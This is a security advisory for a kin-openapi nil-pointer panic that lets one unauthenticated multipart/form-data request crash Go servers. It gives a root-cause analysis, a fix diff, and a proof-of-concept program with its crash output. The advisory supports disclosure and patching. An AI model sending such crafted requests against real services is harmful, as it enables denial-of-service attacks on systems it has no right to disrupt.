GHSA-MMFR-PMJX-HW9W
Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-21 20:55Summary
A nil-pointer dereference in openapi3filter.ConvertErrors lets any unauthenticated client crash a server with a single HTTP request. When an application validates a multipart/form-data request body and renders the resulting validation error through the library-provided ValidationErrorEncoder / ConvertErrors helpers, a malformed scalar form field (e.g. a non-numeric value for an integer property) produces an error shape that convertParseError dereferences without a nil check. The handler goroutine panics, causing a denial of service. application/json request bodies are not affected — the bug is specific to multipart/form-data.
Details
The panic is in convertParseError, at openapi3filter/validation_error_encoder.go:119-120 (still present on master at the time of writing):
} else if innerErr.RootCause() != nil {
if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { // ❌ e.Parameter may be nil → panic
The comparison e.Parameter.In == "query" assumes e.Parameter is non-nil. It is reached whenever both of the following hold:
e.Parameter == nil. A*RequestErrorcarries eitherParameter(parameter errors) orRequestBody(body errors), never both.ValidateRequestBodybuilds body errors with onlyRequestBodyset, leavingParameternil — seevalidate_request.go:326-332.innerErr.Causeis itself a*ParseError(aParseErrornested inside aParseError), so the type assertion on line 119 succeeds and execution reaches thee.Parameter.Indereference on line 120.
The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's *ParseError inside another *ParseError at req_resp_decoder.go:1549 and :1558:
if v, ok := err.(*ParseError); ok {
return nil, &ParseError{path: []any{name}, Cause: v} // v is a *ParseError → nested
}
Why other paths do not reach the dereference:
| Body content type | Failure mode | RequestError.Err shape |
.Cause is *ParseError? |
e.Parameter |
Panics? |
|---|---|---|---|---|---|
multipart/form-data |
scalar part fails primitive parse (age=notanumber) |
*ParseError wrapping a *ParseError |
yes | nil |
YES |
application/json |
malformed JSON syntax | *ParseError whose .Cause is an encoding/json error |
no (assertion fails → safe fallback branch) | nil |
no |
application/json |
wrong type / schema violation | *openapi3.SchemaError (routed to convertSchemaError, never reaches convertParseError) |
n/a | nil |
no |
styled query / path params |
invalid format | *ParseError wrapping a *ParseError |
yes | set (non-nil) | no (guard/assignment succeeds) |
Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.
Recommended fix. Add the missing nil guard to the condition:
if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
- rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {
+ rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {
When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns *ValidationError{Status: 400}.
Minor follow-up worth including in the same change: for the multipart nested *ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:
title := innerErr.Reason
if title == "" {
title = innerErr.Error()
}
return &ValidationError{Status: http.StatusBadRequest, Title: title}
PoC
Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.
1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
age: {type: integer}
responses:
'200': {description: ok}
2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:
package main
import (
"bytes"
"context"
"fmt"
"mime/multipart"
"net/http"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
age: {type: integer}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, _ := loader.LoadFromData([]byte(spec))
_ = doc.Validate(loader.Context)
router, _ := gorillamux.NewRouter(doc)
// multipart body: a non-numeric value for the integer property "age"
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
_ = w.WriteField("age", "notanumber")
w.Close()
r, _ := http.NewRequest(http.MethodPost, "/upload", &buf)
r.Header.Set("Content-Type", w.FormDataContentType())
route, pp, _ := router.FindRoute(r)
reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError
// What an application's error-rendering middleware calls:
_ = openapi3filter.ConvertErrors(reqErr) // panics
fmt.Println("no panic (unexpected)")
}
3. Observed output (go run .):
ValidateRequest returned: *openapi3filter.RequestError
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]
goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3filter.convertParseError(...)
.../openapi3filter/validation_error_encoder.go:120 +0x17c
github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)
.../openapi3filter/validation_error_encoder.go:42 +0xec
main.main()
...
exit status 2
The panic is at exactly validation_error_encoder.go:120 — the unguarded e.Parameter.In dereference.
Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age":) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.
In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.
Impact
- Type: Nil-pointer dereference → unauthenticated remote denial of service.
- Who is impacted: any application using
github.com/getkin/kin-openapi/openapi3filterthat (1) exposes an endpoint accepting amultipart/form-datarequest body with at least one non-string scalar property (integer/number/boolean), and (2) renders validation errors through the library's ownValidationErrorEncoderorConvertErrorshelpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration. - Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.
- Consequence: the handling goroutine panics. Absent a
recover()boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected. - Not affected: applications that only accept
application/jsonbodies (verified above), applications that do not useConvertErrors/ValidationErrorEncoderto format errors, or applications that wrap handlers in arecover()(which converts the crash into a handled 500 but still prevents normal error rendering).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.0"
},
{
"fixed": "0.141.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76905"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:55:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected \u2014 the bug is specific to `multipart/form-data`.\n\n### Details\n\nThe panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing):\n\n```go\n} else if innerErr.RootCause() != nil {\n if rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n rootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" { // \u274c e.Parameter may be nil \u2192 panic\n```\n\nThe comparison `e.Parameter.In == \"query\"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold:\n\n1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil \u2014 see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326).\n2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120.\n\nThe only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part\u0027s `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558):\n\n```go\nif v, ok := err.(*ParseError); ok {\n return nil, \u0026ParseError{path: []any{name}, Cause: v} // v is a *ParseError \u2192 nested\n}\n```\n\nWhy other paths do **not** reach the dereference:\n\n| Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? |\n|---|---|---|---|---|---|\n| **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** |\n| `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails \u2192 safe fallback branch) | `nil` | no |\n| `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no |\n| styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) |\n\nNote that the sibling `\"path\"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `\"query\"` branch simply omits the same guard.\n\n**Recommended fix.** Add the missing nil guard to the condition:\n\n```diff\n \t\tif rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n-\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {\n+\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter != nil \u0026\u0026 e.Parameter.In == \"query\" {\n```\n\nWhen `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return \u0026ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) \u2014 a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`.\n\nMinor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `\"path age: value notanumber: an invalid integer: invalid syntax\"`). Prefer a non-empty fallback:\n\n```go\ntitle := innerErr.Reason\nif title == \"\" {\n title = innerErr.Error()\n}\nreturn \u0026ValidationError{Status: http.StatusBadRequest, Title: title}\n```\n\n### PoC\n\nVerified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0.\n\n**1. Spec** \u2014 one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property:\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n age: {type: integer}\n responses:\n \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does:\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n age: {type: integer}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// multipart body: a non-numeric value for the integer property \"age\"\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\t_ = w.WriteField(\"age\", \"notanumber\")\n\tw.Close()\n\n\tr, _ := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\tr.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pp, _ := router.FindRoute(r)\n\n\treqErr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\tfmt.Printf(\"ValidateRequest returned: %T\\n\", reqErr) // *openapi3filter.RequestError\n\n\t// What an application\u0027s error-rendering middleware calls:\n\t_ = openapi3filter.ConvertErrors(reqErr) // panics\n\tfmt.Println(\"no panic (unexpected)\")\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nValidateRequest returned: *openapi3filter.RequestError\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3filter.convertParseError(...)\n\t.../openapi3filter/validation_error_encoder.go:120 +0x17c\ngithub.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)\n\t.../openapi3filter/validation_error_encoder.go:42 +0xec\nmain.main()\n\t...\nexit status 2\n```\n\nThe panic is at exactly `validation_error_encoder.go:120` \u2014 the unguarded `e.Parameter.In` dereference.\n\n**Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{\"age\": `) or a wrong-type body (`{\"age\": \"notanumber\"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes.\n\nIn a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable.\n\n### Impact\n\n- **Type:** Nil-pointer dereference \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library\u0027s own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library\u0027s advertised error-rendering helpers, so this is a realistic default integration.\n- **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn\u0027t parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.\n- **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application\u0027s middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.\n- **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).",
"id": "GHSA-mmfr-pmjx-hw9w",
"modified": "2026-08-21T20:55:46Z",
"published": "2026-08-21T20:55:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.141.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.